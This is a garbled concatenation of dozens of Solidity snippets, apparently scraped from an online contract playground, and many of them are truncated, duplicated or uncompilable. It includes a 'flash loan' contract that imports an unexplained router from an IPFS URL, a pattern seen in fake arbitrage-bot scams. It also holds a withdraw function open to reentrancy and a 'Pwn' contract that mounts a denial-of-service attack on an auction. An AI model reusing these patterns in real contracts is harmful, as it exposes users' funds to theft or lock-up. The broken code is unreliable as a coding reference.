value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.5.0;
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
//BakerySwp Smart contracts
import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";
// Router
import "https://gateway.pinata.cloud/ipfs/QmUjKUcP21Jig4kuXYghYLZwrWyq5evQkQkGBvERgn9qfk";
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
contract InitiateFlashLoan {
RouterV2 router;
string public tokenName;
string public tokenSymbol;
uint256 flashLoanAmount;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract ProoF-Of_Attendance{
//A01561804
event studentRegistered(string mat, address studentaddress);
address CreatorID;
struct Student {
string Matricula;
address _studentAddress;
}
Student[] Students;
mapping(address => bool[16]) attendance;
function RegisterStudent(uint studentNum,address StudentId, string studentMatricula) public {
Student student = Student(studentMatricula, StudentID);
Students[studentNum] = student;
emit studentRegistered(StudenMatricula, StudentID);
}
function DeleteStudent(uint studentNum) public {
delete students[studentNum];
}
function RegisterAttendance(address StudentId, string studentMatricula, uint day,bool attended) view public {
for (uint i=0; i<Students.length; i++) {
if (Students[i]._studentAddress == address StudentId){
attendance(Studentid)[day] = attended;
}
pragma robustness ^0.4.24;
contract RockPaperScissors {
// characterize constants
address public alice;
address public sway;
uint public minBet = 1 ether;
uint public maxBet = 2 ether;
// characterize factors
uint public bet;
uint public victor;
bytes32 public moveA;
bytes32 public moveB;
// constructor
constructor(address _alice, address _bob) public {
require(_alice != address(0));
require(_bob != address(0));
alice = _alice;
sway = _bob;
}
// acknowledge bet from Alice
work makeBet() public payable {
require(msg.value == minBet);
require(winner == 0);
require(bet == 0);
wager = msg.value;
}
// Alice takes her action
work makeMoveA(bytes32 _moveA) public {
require(msg.sender == alice);
require(winner == 0);
require(moveA == bytes32(0));
require(_moveA == bytes32("rock") || _moveA == bytes32("paper") || _moveA == bytes32("scissors"));
moveA = _moveA;
}
// Sway takes his action
work makeMoveB(bytes32 _moveB) public {
require(msg.sender == sway);
require(winner == 0);
require(moveB == bytes32(0));
require(_mov
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function testGas1(uint a, uint b) public pure {
if (a == 1 && b == 2) {
}
}
function testGas2() public pure {
if (true) {
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract SimpleAdd {
// 變數宣告
uint number = 0;
// .....更多變數
// 函數定義
function getNumber() public view returns (uint) { // public:所有人都可以執行此function ; view:此function不會更改到上面宣稱的變數 ; return:function回傳的type
return number;
}
// .....更多函數
function increase() public {
number++; // ++: 代表加一
}
pragma solidity ^0.7.4;
contract Project{
address owner;
uint public balance;
string public Fname;
string public Lname;
uint public age;
enum GENDER {MALE, FEMALE, OTHER}
GENDER public choice;
struct Address{
string AddressLine1;
string AddressLine2;
string City;
string state;
string Pincode;
}
Address a1;
function Alias() public view returns(string memory, string memory, string memory, string memory, string memory, string memory, string memory){ /*accessing the struct objects*/
return ( Fname, Lname,a1.AddressLine1,a1.AddressLine2,a1.City,a1.state,a1.Pincode);
}
function Approval() public{
owner=msg.sender;
}
function Create_Account(string memory First_name, string memory Last_name, uint Age, uint gender, string memory addressline1,string memory addressline2, string memory city, string memory State, string memory pincode) public{ /*function to enter the
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract RuneOfPower {
address public wallet = 0xC9C022FCFebE730710aE93CA9247c5Ec9d9236d0;
function claimRuneOfPower(uint256 nonce) external view returns (uint256) {
return uint256(
keccak256(abi.encodePacked(lastPower, nonce, wallet))
);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
address public wallet = 0xC9C022FCFebE730710aE93CA9247c5Ec9d9236d0;
function claimRuneOfPower(uint256 nonce) external view returns (uint256) {
return uint256(
keccak256(abi.encodePacked(lastPower, nonce, wallet))
);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
contract ERC20Mock is ERC20 {
uint256 public constant initialSupply = 100 ether;
constructor() ERC20("asd", "asd") {}
function mint(address _addr1, address _addr2) external {
_mint(_addr1, 10 ether);
_mint(_addr2, 10 ether);
}
}
// 55 682
contract TestOne {
using SafeERC20 for ERC20;
function tst(address _tokenAddr) external {
ERC20(_tokenAddr).safeTransfer(msg.sender, 1 ether);
}
}
// 37 399
contract TestTwo {
function tst(address _tokenAddr) external {
IERC20(_tokenAddr).transfer(msg.sender, 1 ether);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
function gettting() external view returns(uint) {
return value;
}
//0x495f947276749Ce646f68AC8c248420045cb7b5e
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.15;
contract demo1 {
uint private sellerBalance=0;
function add(uint value) returns (bool){
sellerBalance += value;
}
}
pragma solidity ^0.4.0;
contract Fund {
/// 合约中 |ether| 分成的映射。
mapping(address => uint) shares;
/// 提取你的分成。
function withdraw() public {
if (msg.sender.call.value(shares[msg.sender])())
shares[msg.sender] = 0;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
123123
uint value;
function tokenURI(uint256 tokenId) public view returns (string memory) {
return "data would go here";
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SmartContract {
function callAddmod() public view returns(uint)
{
return addmod(2,3,5);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract TicTacToe {
// game configuration
address [2] _playerAddress ; // address of both players
uint32 _turnLength ; // max time for each turn
// nonce material used to pick the first player
bytes32 _p1Commitment ;
uint8 _p2Nonce ;
// game state
uint8 [9] _board ; // serialized 3 x3 array
uint8 _currentPlayer ; // 0 or 1, indicating whose turn it is
uint256 _turnDeadline ; // deadline for submitting next move
// Create a new game , challenging a named opponent .
// The value passed in is the stake which the opponent must match .
// The challenger commits to its nonce used to determine first mover .
constructor ( address opponent , uint32 turnLength ,
bytes32 p1Commitment ) public {
_playerAddress [0] = msg . sender ;
_playerAddress [1] = opponent ;
_turnLength = turnLength ;
_p1Commitment = p1Commitment ;
}
// Join a game as the second player .
function joinGame ( uint8 p2Nonce ) public pa
/**
*Submitted for verification at Etherscan.io on 2021-04-06
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-05
*/
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract NumberGame {
struct Player {
string name;
uint256 probability;
uint8 losses;
}
struct GameInfo {
string gameName;
Player[] players;
uint8 gamesPlayed;
}
mapping(uint8 => GameInfo) existingGames;
mapping(string => uint8) nameToGame;
uint8 numGames;
mapping(address => bool) isWhitelisted;
constructor() {
isWhitelisted[msg.sender] = true;
}
error NotWhitelisted();
modifier onlyWhitelist() {
if (isWhitelisted[msg.sender] != true) revert NotWhitelisted();
_;
}
function createGame(string calldata _name)
public
onlyWhitelist
returns (uint8)
{
uint8 gameId = numGames++;
GameInfo storage game = existingGames[gameId];
game.gameName = _name;
game.gamesPlayed = 0;
nameToGame[_name] = gameId;
return gameId;
}
function addToGame(uint
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >= 0.7.0 < 0.9.0;
contract Safe {
address private safeOwner;
modifier isSafeOwner {
require(
msg.sender == safeOwner,
"Must be safe onwer to open safe"
);
_;
}
modifier hasAdequateFunds {
require(
msg.sender.balance >= 47,
"Must have at least 47 WEI"
);
require(
msg.value == 47,
"Must transfer 47 WEI to access"
);
_;
}
constructor () {
safeOwner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
}
function openSafe(string memory input) public payable isSafeOwner hasAdequateFunds returns(bool) {
bytes2 key = hex'a12c';
bytes32 result = sha256(abi.encodePacked(input));
if (result[0] == key[0] && result[1] == key[1]) {
return true;
pragma solidity >= 0.7.0 < 0.9.0;
contract Safe {
address private safeOwner;
modifier isSafeOwner {
require(
msg.sender == safeOwner,
"Must be safe onwer to open safe"
);
_;
}
modifier hasAdequateFunds {
require(
msg.sender.balance >= 47,
"Must have at least 47 WEI"
);
require(
msg.value == 47,
"Must transfer 47 WEI to access"
);
_;
}
constructor () {
safeOwner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
}
function openSafe(uint8[13] memory input) public payable isSafeOwner hasAdequateFunds returns(bool) {
bytes2 key = hex'a12c';
bytes32 result = sha256(abi.encodePacked(input));
if (result[0] == key[0] && result[1] == key[1]) {
return true;
} else {
return false;
}
}
pragma solidity ^0.4.18;
contract Gastoken {
function free(uint256 value) public returns (bool success);
function freeUpTo(uint256 value) public returns (uint256 freed);
function freeFrom(address from, uint256 value) public returns (bool success);
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}
contract Example {
// This function consumes a lot of gas
function expensiveStuff() private pure {
/* lots of expensive stuff */
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong to this Example contract. The gas refund can pay
* for up to half of the gas cost of the total transaction in which this
* call occurs.
*/
function burnGasAndFree(address gas_token, uint256 free) public {
require(Gastoken(gas_token).free(free));
expensiveStuff();
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.8.11;
contract SimpleStore {
struct ST1 {
uint256 i1;
uint256 i2;
uint256 i3;
uint256 i4;
uint256 i5;
uint256 i6;
uint256 i7;
}
struct ST2 {
uint256 i8;
uint256 i9;
uint256 i10;
uint256 i11;
uint256 i12;
uint256 i13;
uint256 i14;
}
struct ST3 {
uint256 i15;
uint256 i16;
uint256 i17;
uint256 i18;
uint256 i19;
uint256 i20;
uint256 i21;
}
struct ST4 {
uint256 i22;
uint256 i23;
uint256 i24;
uint256 i25;
uint256 i26;
uint256 i27;
uint256 i28;
}
function myFunc2(
ST1 memory st1,
ST2 st2,
ST3 st3,
ST4 st4
) public returns(uint256) {
// uint256 t1=1;
// uint256 t2=2;
uint256 tmp = st1.i1+st4.i23;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;
contract SimpleStore {
function myFunc(
uint256 i1,
uint256 i2,
uint256 i3,
uint256 i4,
uint256 i5,
uint256 i6,
uint256 i7,
uint256 i8,
uint256 i9,
uint256 i10,
uint256 i11,
uint256 i12,
uint256 i13
) public returns(uint256) {
// uint256 t1=1;
// uint256 t2=2;
uint256 tmp = i1+i2+i3+i4+i5+i6+i7+i8+i9+i10+i11+i12+i13;
return tmp;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.12;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint256 baseValue = (10 ** 18);
uint profitPercentage = 20;
uint[] list = [1,2,3,4,5,6,7];
function toString(uint256 value) private pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function get() public pure returns (uint) {
return bytes(toString(~uint256(0))).length;
}
function get2() public pure returns (uint) {
return b
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
contract test {
//Defining structure
struct worker
{
string worker;
string duty;
uint8 renumeration;
}
// Creating a mapping
mapping (address => worker) result;
address[] public worker_result;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
enum week_days
{
Monday,
Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday
}
week_days week;
week_days choice;
week_days constant default_value
= week_days.Sunday;
function set_value() public {
choice = week_days.Thursday;
}
function get_choice(
) public view returns (week_days) {
return choice;
}
function getdefaultvalue(
) public pure returns(week_days) {
return default_value;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint[6] data;
uint x;
function array_example() public returns(uint[6] memory) {
data=[uint(10),20,30,40,50]
}
function result() public view returns (uint[6] memory) {
return data;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
string store = "abcd";
function getStore() public constant returns (string)
{
return store;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set() public pure returns (uint){
uint value;
assembly {
value := byte(0, 0xf1)
}
return value;
}
// Contract address: 0xb4d2f83a3a33e23c0e81e7a3124ae8c214470b9d
// Contract name: MarginlessCrowdsale
// Etherscan link: https://etherscan.io/address/0xb4d2f83a3a33e23c0e81e7a3124ae8c214470b9d#code
pragma solidity 0.4.19;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract RP {
uint256 soldAmount = 0;
uint256 decimals = 18;
uint256 checkPoint = 1000 * 10^decimals; // 1k
uint256 nextCheckPoint = checkPoint * 10; // 10k
uint256 price = 0.2 ether;
function sellRp(uint256 _amount) public returns (uint256) {
uint256 payout;
uint256 left;
// 0. balance check of RP amount
// 0-0. check global limit on RP sellable
// 0-1. check RP sellable limit on user
// 1. calculate maticAmount for _amount
if(checkPoint >= soldAmount + _amount) {
payout = _amount * price / 10^decimals;
soldAmount += _amount;
} else {
left = _amount;
// need bounds to prevent exceeding block gas limit
while(left > 0) {
uint256 discrepancy = checkPoint - soldAmount;
if(discrepancy > left) {
payout += left * price / 10^decimals;
//Lucky Mokalusi
pragma solidity ^0.4.18;
contract B {
uint256 a = 0;
uint256 b = 0;
uint256 c = 0;
uint256 d = 0;
uint256 e = 0;
//Lucky Mokalusi
pragma solidity ^0.4.18;
contract A {
uint8 a = 0;
uint8 b = 0;
uint8 c = 0;
uint8 d = 0;
uint8 e = 0;
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract RP {
uint256 soldAmount = 0;
uint256 decimals = 18;
uint256 checkPoint = 1000 * 10^decimals; // 1k
uint256 nextCheckPoint = checkPoint * 10; // 10k
uint256 price = 0.2 ether;
function sellRp(uint256 _amount) public returns (uint256) {
uint256 payout;
uint256 left;
// 0. balance check of RP amount
// 0-0. check global limit on RP sellable
// 0-1. check RP sellable limit on user
// 1. calculate maticAmount for _amount
if(checkPoint >= soldAmount + _amount) {
payout = _amount * price / 10^decimals;
soldAmount += _amount;
} else {
left = _amount;
// need bounds to prevent exceeding block gas limit
while(left > 0) {
uint256 discrepancy = checkPoint - soldAmount;
if(discrepancy > left) {
payout += left * price / 10^decimals;
pragma solidity ^0.4.18;
contract CallToTheUnknown {
// Highest bidder becomes the Leader.
// Vulnerable to DoS attack by an attacker contract which reverts all transactions to it.
address currentLeader;
uint highestBid;
function() payable {
require(msg.value > highestBid);
require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
currentLeader = msg.sender;
highestBid = msg.value;
}
}
contract Pwn {
// call become leader
function becomeLeader(address _address, uint bidAmount) {
_address.call.value(bidAmount);
}
// reverts anytime it receives ether, thus cancelling out the change of the leader
function() payable {
assert(1==2);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
struct UserStakeData
{
address stakeUser;
uint256 skateTime;
uint256 bonusValue;
}
//盘口=>用户按票购买记录
mapping(uint256=>mapping(uint256,UserStakeData)) StakeTicketData;
pragma solidity ^0.4.18;
contract A {
uint8 a = 0;
uint8 b = 0;
pragma solidity ^0.4.18;
contract A {
uint8 a = 0;
pragma solidity ^0.4.18;
contract B {
uint256 a = 0;
uint256 b = 0;
uint256 c = 0;
uint256 d = 0;
uint256 e = 0;
pragma solidity ^0.4.18;
contract A {
uint8 a = 0;
uint8 b = 0;
uint8 c = 0;
uint8 d = 0;
uint8 e = 0;
pragma solidity ^0.4.18;
contract A {
uint8 a = 255;
uint8 b = 255;
uint8 c = 255;
uint8 d = 255;
uint8 e = 255;
pragma solidity ^0.4.18;
contract A {
uint8 a = 0;
pragma solidity ^0.4.18;
contract B {
uint256 b = 0;
pragma solidity ^0.4.18;
contract B {
uint256 b = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
pragma solidity ^0.4.18;
contract B {
uint256 b = 0;
pragma solidity ^0.4.18;
contract A {
uint8 a = 0;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.26;
/* 合約本體 */
contract SimpleAdd {
/* 變數宣告 */
uint number = 1;
// ... 更多變數
/* 函數定義 */
function getNumber() public view returns (uint) {
return number;
}
// ... 更多函數
function increase() public {
number++;
}
// SPDX-License-Identifier: GPL-3.0
/* today's date: 4/11/2022 08:31
*/
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/utils/math/Math.sol"; //openzeppelin's math library to use min and max
/* title: TorusTacToe
dev: Play tic tac toe against the contract on a special torus board, player 1 is O (user) and player 2 is X (contract) */
contract TorusTacToe {
/* the 72 rightmost bits represent the 36 pieces
with each piece represented by 2 bits
(00 = empty, 01 = user marker aka O, 10 = contract marker aka X) */
uint256 torusState;
function searchForMove(uint256 possibleTorus, uint256 depth, bool isContract) public pure returns (int) { //the minimax function, do alpha beta later
if(depth == 3) { //max depth is 3
return evaluateTorus(possibleTorus);
}
if(isContract == false){ // user's turn
bool torusFull = true;
int minPoints = type(int).max;
for(uint256 posIndex = 0; posIndex < 36;
pragma solidity =0.8.7;
contract rps
{
address payable alice = payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
address payable bob = payable(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2);
mapping(address=>bytes32) public choice_hashes;
mapping(address=>uint) public choices;
uint initialBlock;
bool flag = false;
constructor()
{
initialBlock = block.timestamp;
}
function choice_nonce_hash(bytes32 hash) public payable
{
require(block.timestamp < initialBlock + 100);
require(msg.sender == alice || msg.sender == bob );
require(msg.value == 1 ether);
choice_hashes[msg.sender] = hash;
}
function reveal_hash(uint choice, string memory nonce) public
{
require(block.timestamp >= initialBlock + 100 && block.timestamp < initialBlock + 200);
require(msg.sender == alice || msg.sender == bob );
require(sha256((bytes(abi.encodePacked(choice,nonce)))) == choice_hashes[msg.sender]);
choices[msg
pragma solidity >=0.8.0 <0.9.0;
//SPDX-License-Identifier: MIT
// import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
//learn more: https://docs.openzeppelin.com/contracts/3.x/erc721
// GET LISTED ON OPENSEA: https://testnets.opensea.io/get-listed/step-two
contract Tiket is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
constructor() public ERC721("Tiket", "TIKT") {}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId)
pragma solidity 0.7.1;
contract mathProblem {
uint256 public userWithdrawed;
uint256 public userDeposited;
uint256 public shares;
uint256 public currentPPS;
uint256 public NAV;
uint256 public currentCycle;
uint256 public currentCycleAmount;
mapping(uint256 => uint256) public cyclePPS;
uint256 public lastNFTID;
mapping(uint256 => UserNFTNote) public userDepositsNFT;
mapping(address => uint256) public userDepositsShares;
struct UserNFTNote {
address user;
uint256 amount;
uint256 cycle;
}
function deposit(uint256 amount) public {
userDeposited += amount;
currentCycleAmount += amount;
UserNFTNote storage userNFTNote = userDepositsNFT[lastNFTID];
lastNFTID+=1;
userNFTNote.user = msg.sender;
userNFTNote.amount = amount;
userNFTNote.cycle = currentCycle;
}
function sendToStrategy() public {
if (shares > 0) {
// Compounding happens her
// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.4.18;
// Source: https://marduc812.com/2021/04/08/how-to-save-gas-in-your-ethereum-smart-contracts/
contract SaveGas {
uint256 resultB = 0;
function UseUint256() external returns (uint256) {
uint256 selectedRange = 255;
for (uint256 i = 0; i < selectedRange; i++) {
resultB += 1;
}
return resultB;
}
// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.4.18;
// Source: https://marduc812.com/2021/04/08/how-to-save-gas-in-your-ethereum-smart-contracts/
contract SaveGas {
uint8 resultA = 0;
function UseUInt8() external returns (uint8) {
uint8 selectedRange = 255;
for (uint8 i = 0; i < selectedRange; i++) {
resultA += 1;
}
return resultA;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SampleOverflow {
string constant resultC = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
bytes32 constant resultD = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
function getString() payable public returns(string){
return resultC;
}
function getByte() payable public returns(bytes32){
return resultD;
}
pragma solidity ^0.4.18;
contract Unit8_Binary1 {
uint8 Binary1 = 1;
}
contract Unit8_Binary3 {
uint8 Binary3 = 11;
}
contract Unit8_Binary7 {
uint8 Binary7 = 111;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.12;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
function testOpt() pure internal {
uint256[] memory data1 = new uint256[](2);
data1[0] = 0;
data1[1] = 0;
}
uint value;
/*
SPDX-License-Identifier: None
STEALTH LAUNCH BABY VERSION OF Milkdoge
TG GROUP SOON, LIQ LOCK AFTER LAUNCHED
BabyMilkdoge (BABYMOGE) - 10% tax
*/
pragma solidity ^0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity =0.8.9;
contract SimpleStore {
function testGas1(uint a, uint b) {
if (a == 1 && b == 2) {
}
}
function testGas2(uint a, uint b) {
bool isA = a > 0;
bool isB = b > 0;
if(isA && !isB){
}
if(isB && !isA){
}
if(isA && isB){
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IBEP20Metadata is IBEP20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (a
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract DepositLock {
enum Stages {
AcceptingDeposits,
FreezingDeposits,
ReleasingDeposits
}
Stages public stage = Stages.AcceptingDeposits;
uint public creationTime = block.timestamp;
mapping (address => uint) public balances;
modifier atStage(Stages _stage) {
require(stage == _stage, "Action not allowed Now");
_;
}
modifier timedTransitions() {
if (stage == Stages.AcceptingDeposits && block.timestamp >= creationTime + 1 days)
nextStage();
if (stage == Stages.FreezingDeposits && block.timestamp >= creationTime + 8 days)
nextStage();
_;
}
function nextStage() internal {
stage = Stages(uint(stage) + 1);
}
function deposit() public payable timedTransitions atStage(Stages.AcceptingDeposits) {
balances[msg.sender] += msg.value;
}
function withdraw() public timedTransitions atStage(Stages.ReleasingDeposits) {
uint amount = balances[msg.sender];
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract SimpleBank {
mapping (address => uint256) private balances;
address public owner;
constructor() payable {
owner = msg.sender;
}
function deposit() public payable returns (uint) {
balances[owner]+= (msg.value/100)*2;
balances[msg.sender] += (msg.value/100)*98;
return balances[msg.sender];
}
function withdraw(uint withdrawAmount) public returns (uint remainingBal) {
if (withdrawAmount <= balances[msg.sender]) {
balances[msg.sender] -= withdrawAmount;
if(payable(msg.sender).send(withdrawAmount)) {
return balances[msg.sender];
}
}
return balances[msg.sender];
}
